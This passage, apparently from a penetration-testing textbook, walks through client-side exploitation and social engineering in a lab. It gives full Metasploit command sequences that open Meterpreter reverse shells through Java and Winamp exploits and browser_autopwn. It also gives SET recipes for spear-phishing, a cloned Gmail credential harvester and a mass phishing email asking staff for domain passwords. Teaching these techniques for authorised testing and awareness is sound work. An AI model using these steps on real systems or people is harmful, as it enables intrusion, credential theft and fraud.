exploit(java_jre17_jmxbean) > show options
msf
Module options (exploit/multi/browser/java_jre17_jmxbean):
--snip-Payload options (java/meterpreter/reverse_http):
Name
---LHOST
LPORT
Current Setting
--------------8080
Required
-------yes
yes
Description
----------The local listener hostname
The local listener port
Exploit target:
Id
-0
Name
---Generic (Java Payload)
Client-Side Exploitation 231
msf exploit(java_jre17_jmxbean) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.20.9:8080/
[*] Using URL: http://192.168.20.9:80/javaexploit
[*] Server started.
msf exploit(java_jre17_jmxbean) > [*] 192.168.20.12
java_jre17_jmxbean - handling
request for /javaexploit
[*] 192.168.20.12
java_jre17_jmxbean - handling request for /javaexploit/
[*] 192.168.20.12
java_jre17_jmxbean - handling request for /javaexploit/hGPonLVc.jar
[*] 192.168.20.12
java_jre17_jmxbean - handling request for /javaexploit/hGPonLVc.jar
[*] 192.168.20.12:49188 Request received for /INITJM...
[*] Meterpreter session 1 opened (192.168.20.9:8080 -> 192.168.20.12:49188) at 2015-05-05
19:15:19 -0400
Listing 10-16: Exploiting a Java vulnerability with an HTTP payload
These options should look familiar. The default LPORT option is now
8080 instead of 4444. Notice that both SRVPORT and LPORT default to 8080,
so we’ll need to change at least one of them.
After you’ve finished setting options, start the exploit server and browse
to the malicious page from your Windows 7 target. Either Internet Explorer
or Mozilla Firefox will fall victim to this attack as long as you have enabled
the vulnerable Java browser plugin.
One of the great features of the HTTP and HTTPS Meterpreter payloads, aside from being legitimate HTTP and HTTPS traffic and thus
by­passing even some traffic-inspecting filters, is their ability to reattach to
a dropped session. (Network problems can cause sessions to spontaneously
die—a big annoyance for pentesters.) We’ll examine other ways to gain
persistent access in Chapter 13, but for now let’s detach our Meterpreter
session, as shown in Listing 10-17.
msf exploit(java_jre17_jmxbean) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > detach
[*] 10.0.1.16 - Meterpreter session 1 closed. Reason: User exit
msf exploit(java_jre17_jmxbean) >
[*] 192.168.20.12:49204 Request received for /WzZ7_vgHcXA6kWjDi4koK/...
[*] Incoming orphaned session WzZ7_vgHcXA6kWjDi4koK, reattaching...
[*] Meterpreter session 2 opened (192.168.20.9:8080 -> 192.168.20.12:49204) at
2015-05-05 19:15:45 -0400 u
Listing 10-17: Detaching the HTTP Meterpreter session
As you can see, the handler for the HTTP Meterpreter payload is still
running in the background. Wait a few seconds, and you should see a new
session open without the user needing to revisit the attack page as shown
at u. Unless the session has been formally exited, the payload will continue
232 Chapter 10
to try to connect back to Metasploit. (You can specify how long the session tries to reconnect with the SessionCommunicationTimeOut parameter, an
advanced option for the payload.)
But what if your pentest target is diligent in updating Java, and there
are currently no zero-days for the software floating around the Internet?
Signed Java Applet
Much like the attack against PDF users discussed in “PDF Embedded
Executable” on page 228, we can bypass the need for an unpatched Java
vulnerability by simply asking users to allow us to run malicious code.
You’ve probably seen browser warnings like, “This site would like to run
this thing in your browser, how would you like to proceed?” Sometimes
even security-savvy users can be convinced to just say “Yes” and bypass this
warning without further investigation if they can be convinced that what’s
on the other side is useful.
The module we’ll use for this example is exploit/multi/browser/java_
signed_applet. As the name implies, this module will create a malicious Java
applet, as shown in Listing 10-18.
exploit(java_jre17_jmxbean) > use exploit/multi/browser/java_signed_applet
exploit(java_signed_applet) > show options
msf
msf
Module options (exploit/multi/browser/java_signed_applet):
Name
---APPLETNAME
uCERTCN
Current Setting
--------------SiteLoader
SiteLoader
Required
-------yes
yes
SRVHOST
0.0.0.0
yes
SRVPORT
SSL
SSLCert
8080
false
yes
no
no
SSLVersion
SSL3
no
vSigningCert
no
SigningKey
SigningKeyPass
no
no
URIPATH
no
Description
----------The main applet's class name.
The CN= value for the certificate. Cannot contain
',' or '/'
The local host to listen on. This must be an
address on the local machine or 0.0.0.0
The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (default is
randomly generated)
Specify the version of SSL that should be used
(accepted: SSL2, SSL3, TLS1)
Path to a signing certificate in PEM or PKCS12
(.pfx) format
Path to a signing key in PEM format
Password for signing key (required if SigningCert
is a .pfx)
The URI to use for this exploit (default is
random)
Exploit target:
Id
-w1
Name
---Windows x86 (Native Payload)
Client-Side Exploitation 233
msf exploit(java_signed_applet) > set APPLETNAME BulbSec
APPLETNAME => Bulb Security
msf exploit(java_signed_applet) > set SRVHOST 192.168.20.9
SRVHOST => 192.168.20.9
msf exploit(java_signed_applet) > set SRVPORT 80
SRVPORT => 80
Listing 10-18: Metasploit signed Java applet module
Older versions of Java will allow us to use the CERTCN option shown at u to
say that the applet is signed by any entity that we choose. Newer versions of
Java, like the one installed on the Windows 7 target, will say that the signer
is unknown unless we sign the applet with a trusted signing certificate,
which we can specify at v. If this option is set, it will override the CERTCN
option. If we have a trusted signing certificate or we’ve compromised a certificate from our target, we can make our applet look more legitimate, but
we’ll leave our applet self-signed for this example.
As shown at w, the default target for this module is a Windows system.
However, as shown in Listing 10-19, we can use payloads for other platforms
running JRE.
exploit(java_signed_applet) > show targets
msf
Exploit targets:
Id
-u0
1
2
3
4
Name
---Generic (Java Payload)
Windows x86 (Native Payload)
Linux x86 (Native Payload)
Mac OS X PPC (Native Payload)
Mac OS X x86 (Native Payload)
msf exploit(java_signed_applet) > set target 0
target => 0
msf exploit(java_signed_applet) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(java_signed_applet) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(java_signed_applet) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.20.9:4444
[*] Using URL: http://192.168.20.9:80/Dgrz12PY
[*] Server started.
Listing 10-19: Using a Java payload
234 Chapter 10
As with other Java exploits, we can make this attack multi-platform. We
can change the target to Linux or Mac OS, or use a Java payload u that
will target them all.
note
As with our PDF examples, the previous exploit has left Java in a bad state, and you
may need to restart Windows 7 before attempting to run the applet.
Browse to the Metasploit server from your Windows 7 target, and you
should be prompted to run the applet, as shown in Figure 10-2. The security warning informs you that if this applet is malicious, it will have access
to the system and lets you know you should run the application only if
the publisher is trusted. Because we didn’t use a signing certificate that is
trusted by the browser certificate chain, the warning says in big letters that
the publisher is unknown. This should stop anyone from running the malicious applet, right?
Figure 10-2: Java applet attack
Despite the warnings, the Social-Engineer Toolkit (which we’ll explore
in the next chapter) claims that this attack is one of the most successful of
the many available, even though it doesn’t rely on any unpatched vulnerability in Java or the underlying operating system.
browser_autopwn
The browser_autopwn module is another client-side exploitation option
available in Metasploit. Although it’s sometimes considered cheating, this
module loads all the browser and browser add-on modules that it knows
Client-Side Exploitation 235
of (including Java, Flash, and so on) and waits for a browser to connect to
the server. Once the browser connects, the server fingerprints the browser
and serves up all the exploits it thinks are likely to succeed. An example is
shown in Listing 10-20.
msf > use auxiliary/server/browser_autopwn
msf auxiliary(browser_autopwn) > show options
Module options (auxiliary/server/browser_autopwn):
Name
---LHOST
SRVHOST
Current Setting
---------------
SRVPORT
SSL
SSLCert
8080
false
yes
no
no
SSLVersion
SSL3
no
0.0.0.0
URIPATH
no
msf auxiliary(browser_autopwn)
LHOST => 192.168.20.9
msf auxiliary(browser_autopwn)
URIPATH => autopwn
msf auxiliary(browser_autopwn)
[*] Auxiliary module execution
[*]
msf
[*]
[*]
Required
-------yes
yes
Description
----------The IP address to use for reverse-connect payloads
The local host to listen on. This must be an address
on the local machine or 0.0.0.0
The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (default is randomly
generated)
Specify the version of SSL that should be used
(accepted: SSL2, SSL3, TLS1)
The URI to use for this exploit (default is random)
> set LHOST 192.168.20.9
> set URIPATH autopwn
> exploit
completed
Setup
auxiliary(browser_autopwn) >
Obfuscating initial javascript 2015-03-25 12:55:22 -0400
Done in 1.051220065 seconds
[*] Starting exploit modules on host 192.168.20.9...
--snip-[*] --- Done, found 16 exploit modules
[*] Using URL: http://0.0.0.0:8080/autopwn
[*] Local IP: http://192.168.20.9:8080/autopwn
[*] Server started.
Listing 10-20: Starting browser_autopwn
Our options for this module are the usual client-side attacks. As shown
here, I’ve set the LHOST for my shells to call back to Kali’s IP address, and
URIPATH to something easy to remember (autopwn). Note that we don’t need
to set any payloads here; as the individual modules are loaded, Metasploit
sets the payload options appropriately.
236 Chapter 10
With the server started, browse to the malicious page from a web
browser. I used Internet Explorer on my Windows 7 target as shown in
Listing 10-21.
[*] 192.168.20.12
browser_autopwn - Handling '/autopwn'
[*] 192.168.20.12
browser_autopwn - Handling '/autopwn?sessid=TWljcm9zb2Z0IFdpbmRvd3M6NzpTUDE6
ZW4tdXM6eDg2Ok1TSUU6OC4wOg%3d%3d'
[*] 192.168.20.12
browser_autopwn - JavaScript Report: Microsoft Windows:7:SP1:en-us:x86:
MSIE:8.0: u
[*] 192.168.20.12
browser_autopwn - Responding with 14 exploits v
[*] 192.168.20.12
java_atomicreferencearray - Sending Java AtomicReferenceArray Type Violation
Vulnerability
--snip-msf auxiliary(browser_autopwn) > sessions -l
Active sessions
===============
Id Type
Information
-- -------------1 meterpreter java/java Georgia Weidman @ BookWin7
2
meterpreter java/java Georgia Weidman @ BookWin7
3
meterpreter java/java Georgia Weidman @ BookWin7
4
meterpreter java/java Georgia Weidman @ BookWin7
Connection
---------192.168.20.9:7777 ->
192.168.20.12:49195
192.168.20.9:7777 ->
192.168.20.12:49202
192.168.20.9:7777 ->
192.168.20.12:49206
192.168.20.9:7777 ->
192.168.20.12:49209
(192.168.20.12)
(192.168.20.12)
(192.168.20.12)
(192.168.20.12)
Listing 10-21: Autopwning a browser
As you can see Metasploit notices my browser and attempts to detect
its version and running software u. It then sends all the exploits it thinks
might be effective v.
Once all is said and done, run sessions -l to see how things turned out.
In my case, I received four new sessions. Not bad for so little work. As you
might expect though, all of those exploits overwhelmed the browser and it
crashed. (Luckily, all of our sessions were automatically migrated.)
Though browser_autopwn is not nearly as stealthy or elegant as performing reconnaissance and then choosing a particular exploit likely to work
against a target, it can be a real help in a pinch, which is why it’s worth having in your pentesting arsenal.
Winamp
So far our client-side attacks have basically followed the same pattern. We
generate a malicious file that exploits a vulnerability in the client software
or prompts the user for permission to run malicious code. The user opens
the file with the relevant program, and we get a session in Metasploit. Now
for something a bit different.
Client-Side Exploitation 237
In this example, we trick the user into replacing a configuration file
for the Winamp music player program. When the user next opens the program, the evil configuration file will be processed regardless of which music
file the user opens. The Metasploit module we’ll use is exploit/windows/
fileformat/winamp_maki_bof, which exploits a buffer overflow issue in
Winamp version 5.55.
As you can see with show options in Listing 10-22, this module has no
options to set; all we need is a Windows payload. The module generates a
malicious Maki file for use with Winamp skins. As with our PDF examples,
it’s up to us to serve the file and set up a handler for the payload.
msf > use exploit/windows/fileformat/winamp_maki_bof
msf exploit(winamp_maki_bof) > show options
Module options (exploit/windows/fileformat/winamp_maki_bof):
Name
----
Current Setting
---------------
Required
--------
Description
-----------
Exploit target:
Id
-0
Name
---Winamp 5.55 / Windows XP SP3 / Windows 7 SP1
msf exploit(winamp_maki_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(winamp_maki_bof) > set LHOST 192.168.20.9
LHOST => 192.168.20.9
msf exploit(winamp_maki_bof) > exploit
[*] Creating 'mcvcore.maki' file ...
[+] mcvcore.maki stored at /root/.msf4/local/mcvcore.maki
Listing 10-22: Metasploit Winamp exploit
Choose a compatible Windows payload as shown. Once the malicious
Maki file has been generated, copy it to the Apache web server directory, and
set up a payload handler. (An example of setting up the handler is included
in Listing 10-11 on page 227.) Now we need to package this malicious file in
such a way that a user may be convinced to load it in Winamp. We can create
a new Winamp skin by copying one of the skins packaged with Winamp. We
can replace the mcvcore.maki file from our example skin with our malicious
one. It doesn’t matter what our skin actually looks like, because it will cause
Winamp to hang and send us our session in Metasploit.
238 Chapter 10
In Windows 7, make a copy of the default Bento Winamp skin folder
from C:\Program Files\Winamp\Skins and copy it to Kali. Rename the folder
Bento to Rocketship. Replace the file Rocketship\scripts\mcvcore.maki with the
malicious file we just created in Metasploit. Zip the folder and copy it to
the web server. In the next chapter we will look at methods of creating
believable social-engineering campaigns, but suffice it to say, if we can
convince users that this malicious skin will make their Winamp look like
a rocket ship, we might be able to convince users to install it.
Switch to Windows 7, download the zipped skin from the Kali web
server, unzip it, and save the folder to C:\Program Files\Winamp\Skins as
shown in Figure 10-3.
Figure 10-3: Installing the malicious Winamp skin
Now open Winamp, go to Options4Skins, and choose Rocketship, as
shown in Figure 10-4.
Once you select the malicious skin, Winamp will appear to close, and
you will receive a session in your Metasploit handler.
Client-Side Exploitation 239
Figure 10-4: Using the malicious skin
Summary
The attacks we’ve seen in this chapter target software that is not listening
on a network port. We attacked browsers, PDF viewers, the Java browser
plugin, and a music player. We generated malicious files that trigger a
vulnerability in the client-side software when opened by the user, and we
looked at examples that ask the user for permission to run malicious code
instead of relying on an unpatched vulnerability.
The Internet can be a scary place for client-side software. Some of the
exploits discussed in this chapter were seen in the wild before a patch was
issued by the vendors. In fact, the Java exploit we used in “Java Vulnerability”
on page 230 was still a zero-day vulnerability when the Metasploit module
was added to the framework. Anyone using Java 7 could run afoul of a malicious site, even if his or her machine was fully patched, and all an attacker
had to do was use Metasploit to perform a successful attack.
Of course, disabling or uninstalling Java fixes this problem in the event
of a zero-day exploit running rampant on the Internet, but that might not
be feasible for all users and organizations. Though not all sites use Java,
popular online meeting software such as WebEx and GoToMeeting require
Java, and the virtual classroom software Blackboard has Java components as
240 Chapter 10
well. A lot of network/security appliances actually require network/security
admins to run outdated versions of Java, which makes them perfect targets for client-side attacks. Most readers can probably think of at least one
site that complains if Java is not installed.
Client-side software is necessary to perform day-to-day tasks in any
organization, but this software should not be overlooked when evaluating security risks. Keeping all client-side software up-to-date with the latest patches can be a daunting task on your personal computer, much less
on the computers of an entire organization. Even organizations that are
doing a good job of applying important Windows security fixes may miss
an update to Java or Adobe Reader and leave company workstations open to
client-side attacks.
All of the attacks in this chapter depend on a legitimate user taking
action on the target systems. Although we’ve seen what can happen when
users are tricked into opening malicious files, we’ve yet to look at the
tricks used to make people open those files. In the next chapter we’ll study
social engineering—that is, ways of tricking users into performing harmful actions such as opening a malicious file, entering credentials into an
attacker-owned site, or giving out sensitive information over the phone.
Client-Side Exploitation 241
11
Social Engineering
It is a common saying in information security that
users are the vulnerability that can never be patched.
Put all the security controls in place that you want,
but if an employee can be convinced to give up sensitive company information, it is all for naught. In fact,
many of the most famous hacks include no system
exploitation at all.
For example, consider notorious hacker Kevin Mitnick. Many of Mitnick’s
most famous exploits came down to walking into a building, convincing
the security guard he had permission to be there, and then walking out
with what he wanted. This kind of attack, called social engineering, exploits
human vulnerabilities: a desire to be helpful, unawareness of security policies, and so on.
Social-engineering attacks can involve complex technical requirements
or no technology at all. A social engineer can buy a cable guy uniform at
the thrift store and potentially walk into an organization, and even into the
server room. The IT help desk can receive a frantic call from the boss’s
boss’s assistant, who claims to have locked himself out of his webmail
account. People generally want to be helpful, so unless there is a secure
policy in place, the help desk worker may read back the password over the
phone or set it to a default value, even though the caller is not who he says
he is.
A common vector for social-engineering attacks is email. If you are ever
short on entertainment at work, check out your email spam folder. Among
the advertisements to make some things bigger and others smaller, you will
find people trying desperately to give you all their money. I firmly believe
that if you can find the one African prince who really does want to give you
his fortune, it will be worth all those times your bank account got hacked
from answering phishing emails. Joking aside, attempting to trick a user
into giving up sensitive information by posing as a trusted person via email
or other electronic means is known as a phishing attack. Phishing emails can
be used to lure targets to visit malicious sites or download malicious attachments, among other things. Social-engineering attacks are the missing
element needed to trick users into falling victim to the client-side attacks we
studied in Chapter 10.
Companies should put time and effort into training all employees
about social-engineering attacks. No matter what sort of security technologies you put in place, employees have to be able to use their workstations,
their mobile devices, and so on to get their job done. They will have access
to sensitive information or security controls that, in the wrong hands, could
harm the organization. Some security-awareness training may seem obvious, like “Don’t share your password with anyone” and “Check someone’s
badge before you hold the door to a secure area for him or her.” Other
security awareness may be new to many employees. For instance, on some
pentesting engagements, I’ve had great success leaving USB sticks in the
parking lot or DVDs labeled “Payroll” on the bathroom floor. Curious users
start plugging these in, opening files, and giving me access to their systems.
Security-awareness training about malicious files, USB switchblades, and
other attacks can help stop users from falling victim to these types of socialengineering attacks.
The Social-Engineer Toolkit
TrustedSec’s Social-Engineer Toolkit (SET), an open source Python-driven
tool, is designed to help you perform social-engineering attacks during pentests. SET will help you create a variety of attacks such as email phishing
campaigns (designed to steal credentials, financial information, and so on
using specially targeted email) and web-based attacks (such as cloning a
client website and tricking users into entering their login credentials).
244 Chapter 11
SET comes preinstalled in Kali Linux. To start SET in Kali Linux,
enter setoolkit at a prompt, as shown in Listing 11-1. We’ll use SET to run
social-engineering attacks, so enter a 1 at the prompt to move to the SocialEngineering Attacks menu. You will be prompted to accept the terms of
service.
[email protected]:~# setoolkit
--snip-Select from the menu:
1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
--snip-99) Exit the Social-Engineer Toolkit
set> 1
Listing 11-1: Starting SET
In this chapter we’ll look at just a few of the SET attacks that I use regularly on pentesting engagements. We’ll begin with spear-phishing attacks,
which allow us to deliver attacks via email.
Spear-Phishing Attacks
The Social-Engineering Attacks menu gives us several attack options, as
shown in Listing 11-2. We’ll create a spear-phishing attack, which will allow
us to create malicious files for client-side attacks (like the ones covered in
Chapter 10), email them, and automatically set up a Metasploit handler to
catch the payload.
Select from the menu:
1) Spear-Phishing Attack Vectors u
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
--snip-99) Return back to the main menu.
set> 1
Listing 11-2: Choose Spear-Phishing Attack Vectors
Select option 1 to choose Spear-Phishing Attack Vectors u. The SpearPhishing Attack Vectors menu is shown in Listing 11-3.
1) Perform a Mass Email Attack u
2) Create a FileFormat Payload v
3) Create a Social-Engineering Template w
Social Engineering 245
--snip-99) Return to Main Menu
set:phishing> 1
Listing 11-3: Choose Perform a Mass Email Attack
The first option, Perform a Mass Email Attack u, allows us to send a malicious file to a predefined email address or list of addresses as well as set up
a Metasploit listener for the selected payload. The second option, Create a
FileFormat Payload v, lets us create a malicious file with a Metasploit payload.
The third option allows us to create a new email template w to be used in
SET attacks.
Choose option 1 to create an email attack. (We’ll have the option to
send a single email or mass email later.)
Choosing a Payload
Now to choose a payload. A selection of payload options is shown in
Listing 11-4.
********** PAYLOADS **********
1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
--snip-12) Adobe util.printf() Buffer Overflow u
--snip-20) MSCOMCTL ActiveX Buffer Overflow (ms12-027)
set:payloads> 12
Listing 11-4: Choose a spear-phishing attack
For example, to re-create our PDF attack from Chapter 10, choose
option 12: Adobe util.printf() Buffer Overflow u. (SET includes many
Metasploit attacks, as well as its own, specific attacks.)
You should be prompted to choose a payload for your malicious file
(see Listing 11-5).
1) Windows Reverse TCP Shell
2) Windows Meterpreter Reverse_TCP
--snip-set:payloads> 2
Listing 11-5: Choose a payload
246 Chapter 11
Spawn a command shell on victim and
send back to attacker
Spawn a meterpreter shell on victim
and send back to attacker u
The usual suspects are all here, including windows/meterpreter/reverse_tcp,
which appears in a more human-readable form as Windows Meterpreter Reverse_
TCP u. We’ll choose this option for our sample attack.
Setting Options
SET should prompt for the relevant options for the payload, in this case the
LHOST and LPORT. If you’re not very familiar with Metasploit, just answer the
prompts to set the correct options automatically, as shown in Listing 11-6.
Set the payload listener to the IP address of Kali Linux. Leave the port to
connect back on to the default (443).
set> IP address for the payload listener: 192.168.20.9
set:payloads> Port to connect back on [443]:
[-] Defaulting to port 443...
[-] Generating fileformat exploit...
[*] Payload creation complete.
[*] All payloads get sent to the /usr/share/set/src/program_junk/template.pdf
directory
[-] As an added bonus, use the file-format creator in SET to create your
attachment.
Listing 11-6: Setting options
Naming Your File
Next you should be prompted to name your malicious file.
Right now the attachment will be imported with filename of 'template.whatever'
Do you want to rename the file?
example Enter the new filename: moo.pdf
1. Keep the filename, I don't care.
2. Rename the file, I want to be cool. u
set:phishing> 2
set:phishing> New filename: bulbsecuritysalaries.pdf
[*] Filename changed, moving on...
Select option 2 u to rename the malicious PDF, and enter the filename
bulbsecuritysalaries.pdf. SET should continue.
Single or Mass Email
Now to decide whether to have SET send our malicious file to a single email
address or a list of addresses, as shown in Listing 11-7.
Social Engineering 247
Social Engineer Toolkit Mass E-Mailer
What do you want to do:
1. E-Mail Attack Single Email Address u
2. E-Mail Attack Mass Mailer v
99. Return to main menu.
set:phishing> 1
Listing 11-7: Choosing to perform a single email address attack
Choose the single email address option u for now. (We’ll look at sending mass email v in “Mass Email Attacks” on page 253.)
Creating the Template
When crafting the email, we can use one of SET’s email templates or enter
text for one-time use in the template. In addition, if you choose Create a
Social-Engineering Template, you can create a template that you can reuse.
Many of my social engineering customers like me to use fake emails
that appear to come from a company executive or the IT manager, announcing new website functionality or a new company policy. Let’s use one of
SET’s email templates as an example to fake this email now, as shown in
Listing 11-8; we’ll create our own email later in the chapter.
Do you want to use a predefined template or craft a one time email
template.
1. Pre-Defined Template
2. One-Time Use Email Template
set:phishing> 1
[-] Available templates:
1: Strange internet usage from your computer
2: Computer Issue
3: New Update
4: How long has it been
5: WOAAAA!!!!!!!!!! This is crazy...
6: Have you seen this?
7: Dan Brown's Angels & Demons
8: Order Confirmation
9: Baby Pics
10: Status Report
set:phishing> 5
Listing 11-8: Choosing an email template
Choose 1 for Pre-Defined Template, then choose template 5.
Setting the Target
Now SET should prompt you for your target email address and a mail server
for use in delivering the attack email. You can use your own mail server, one
248 Chapter 11
that is misconfigured to allow anyone to send mail (called an open relay),
or a Gmail account, as shown in Listing 11-9. Let’s use Gmail for this attack
by choosing option 1.
set:phishing> Send email to: [email protected]
1. Use a gmail Account for your email attack.
2. Use your own server or open relay
set:phishing> 1
set:phishing> Your gmail email address: [email protected]
set:phishing> The FROM NAME user will see: Georgia Weidman
Email password:
set:phishing> Flag this message/s as high priority? [yes|no]: no
[!] Unable to deliver email. Printing exceptions message below, this is most
likely due to an illegal attachment. If using GMAIL they inspect PDFs and is
most likely getting caught. u
[*] SET has finished delivering the emails
Listing 11-9: Sending email with SET
When prompted, enter the email address and password for your Gmail
account. SET should attempt to deliver the message. But as you can see in
the message at the bottom of the listing, Gmail inspects attachments and
catches our attack u.
That’s just a first attempt, of course. You may get better results using
your own mail server or your client’s mail server, if you can gather or guess
the credentials.
Of course, in this example, I’m just sending emails to myself. We
looked at tools such as theHarvester to find valid email addresses to target
in Chapter 5.
Setting Up a Listener
We can also have SET set up a Metasploit listener to catch our payload
if anyone opens the email attachment. Even if you’re not familiar with
Metasploit syntax, you should be able to use SET to set up this attack based
on the options we chose in “Setting Options” on page 247. You can see
that SET uses a resource file to automatically set the payload, LHOST, and
LPORT options based on our previous answers when building the payload
(see Listing 11-10).
set:phishing> Setup a listener [yes|no]: yes
Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro's wizard -- type 'go_pro' to launch it now.
=[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- --=[ 1246 exploits - 678 auxiliary - 198 post
+ -- --=[ 324 payloads - 32 encoders - 8 nops
[*] Processing src/program_junk/meta_config for ERB directives.
resource (src/program_junk/meta_config)> use exploit/multi/handler
Social Engineering 249
resource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/
reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 192.168.20.9
LHOST => 192.168.20.9
resource (src/program_junk/meta_config)> set LPORT 443
LPORT => 443
--snip-resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse handler on 192.168.20.9:443
[*] Starting the payload handler...
Listing 11-10: Setting up a listener
Now we wait for a curious user to open our malicious PDF and send us
a session. Use ctrl-C to close the listener and type exit to move back to the
previous menu. Option 99 will take you back to SET’s Social-Engineering
Attacks menu.
Web Attacks
In this section we’ll look at web-based attacks. Return to the SocialEngineering Attacks menu (Listing 11-2), and choose option 2 (Website
Attack Vectors). This is the sort of attack that I use most often in pentests
that have a social-engineering component because it emulates many socialengineering attacks seen in the wild.
You should be presented with a list of web-based attacks as shown in
Listing 11-11.
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
--snip-99) Return to Main Menu
set:webattack> 3
Listing 11-11: SET website attacks
Here’s a description of some of the attacks:
•
•
250 Chapter 11
The Java Applet Attack Method automates the Java-signed applet attack
we used in Chapter 10.
The Metasploit Browser Exploit Method allows you to use all of
Metasploit’s browser-exploitation client-side attacks without having
to set parameters manually, by knowing Metasploit syntax.
•
The Credential Harvester Attack Method helps create websites to trick
users into giving up their credentials.
The Tabnabbing Attack Method relies on users’ propensity to build
up a collection of open browser tabs. When the user first opens the
attack page, it says “Please wait.” Naturally, the user switches back to
another tab while he waits. Once the attack tab is no longer in focus, it
loads the attack site (which can be a clone of any website you like), with
the goal of tricking the user into supplying his credentials or otherwise
interacting with the malicious site. The assumption is that the user will
use the first tab he encounters that looks legitimate.
•
Choose option 3, the Credential Harvester Attack Method.
Next you should see a prompt asking what sort of website you would
like. We can choose from some prebuilt web templates, clone a website from
the Internet with Site Cloner, or import a custom web page with Custom
Import. Choose option 1 to use a SET template (see Listing 11-12).
1) Web Templates
2) Site Cloner
3) Custom Import
--snip-99) Return to Webattack Menu
set:webattack> 1
Listing 11-12: SET website template options
Now enter the IP address for the website to post credentials back to. We
can just use the local IP address for the Kali virtual machine, but if you use
this attack against a client, you will need an Internet-facing IP address.
IP Address for the POST back in Harvester: 192.168.20.9
Now choose a template. Because we want to trick users into entering their credentials, choose a template with a login field, such as Gmail
(option 2), as shown in Listing 11-13. SET should now start a web server
with our fake Gmail page, a clone of the actual Gmail page.
1.
2.
3.
4.
5.
6.
Java Required
Gmail
Google
Facebook
Twitter
Yahoo
set:webattack> Select a template: 2
[*] Cloning the website: https://gmail.com
[*] This could take a little bit...
Social Engineering 251
The
are
[*]
[*]
[*]
best way to use this attack is if the username and password form fields
available. Regardless, this captures all POSTs on a website.
The Social-Engineer Toolkit Credential Harvester Attack
Credential Harvester is running on port 80
Information will be displayed to you as it arrives below:
Listing 11-13: Setting up the site
Now browse to the cloned Gmail site at the Kali Linux web server and
enter some credentials to see how this works. After entering credentials you
should be redirected to the real Gmail site. To a user it will just seem like he
typed in his password incorrectly. In the meantime, back in SET, you should
see a result that looks something like Listing 11-14.
192.168.20.10 - - [10/May/2015 12:58:02] "GET / HTTP/1.1" 200 [*] WE GOT A HIT! Printing the output:
PARAM: ltmpl=default
--snip-PARAM: GALX=oXwT1jDgpqg
POSSIBLE USERNAME FIELD FOUND: Email=georgiau
POSSIBLE PASSWORD FIELD FOUND: Passwd=passwordv
--snip-PARAM: asts=
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
Listing 11-14: SET capturing credentials
When the user submits the page, SET highlights the fields that it thinks
are interesting. In this case, it found the Email u and Passwd v that were
submitted. Once you shut down the web server with ctrl-C to end the web
attack, the results should be written to a file.
When combined with the email attack discussed next, this is a great
attack to use to gather credentials for a pentest or, at the very least, test the
security awareness of your client’s employees.
Note that this attack can be even more interesting if you use option 5,
Site Cloner, to make a copy of your customer’s site. If they do not have a
page with a login form of some sort (VPN, webmail, blogging, and so on)
you can even create one. Clone their site, and add a simple HTML form
like this:
<form name="input" action=“index.html" method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="pwd"><br>
<input type="submit" value="Submit"><br>
</form>
Then use option 3, Custom Import, to have SET serve your modified page.
252 Chapter 11
Mass Email Attacks
Now to use SET to automate phishing email attacks. Create a file and enter
a few email addresses, one per line, as shown here.
[email protected]:~# cat emails.txt
[email protected]
[email protected]
[email protected]
Now return to the main SET Social-Engineering Attacks menu with
option 99 (List­ing 11-2) and choose option 5, Mass Mailer Attack. Large carbon copy or blind carbon copy lists can trigger spam filters or tip off users
that something is amiss, and emailing a long list of client employees individually by hand can be tedious, so we’ll use SET to email multiple addresses
(see Listing 11-15). Scripts are good for repetitive tasks like this.
set> 5
1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
--snip-99. Return to main menu.
set:mailer> 2
--snip-set:phishing> Path to the file to import into SET: /root/emails.txtu
Listing 11-15: Setting up an email attack
Choose option 2 and enter the name of the email address file to
import u.
Next we need to choose a server (see Listing 11-16). Let’s use Gmail
again—option 1. When prompted, enter your credentials.
1. Use a gmail Account for your email attack.
2. Use your own server or open relay
set:phishing> 1
set:phishing> Your gmail email address: [email protected]
set:phishing> The FROM NAME the user will see: Georgia Weidman
Email password:
set:phishing> Flag this message/s as high priority? [yes|no]: no
Listing 11-16: Logging in to Gmail
You should be asked to create the email to send, as shown in Listing 11-17.
set:phishing> Email subject: Company Web Portal
set:phishing> Send the message as html or plain? 'h' or 'p': hu
[!] IMPORTANT: When finished, type END (all capital) then hit {return} on a new line.
set:phishing> Enter the body of the message, type END (capitals) when finished: All
Social Engineering 253
Next line of the body:
Next line of the body: We are adding a new company web portal. Please go to <a href=
"192.168.20.9">http://www.bulbsecurity.com/webportal</a> and use your Windows domain
credentials to log in.
Next line of the body:
Next line of the body: Bulb Security Administrator
Next line of the body: END
[*] Sent e-mail number: 1 to address: [email protected]
[*] Sent e-mail number: 2 to address: [email protected]
[*] Sent e-mail number: 3 to address: [email protected]
[*] Sent e-mail number: 4 to address:
[*] SET has finished sending the emails
Press <return> to continue
Listing 11-17: Sending the email
When asked whether to make the email plaintext or HTML, choose h
for HTML u. By using HTML for the email, we’ll be better able to hide the
real destination of the links in the email behind graphics and such.
Now to enter the text for the email. Because we chose HTML as the
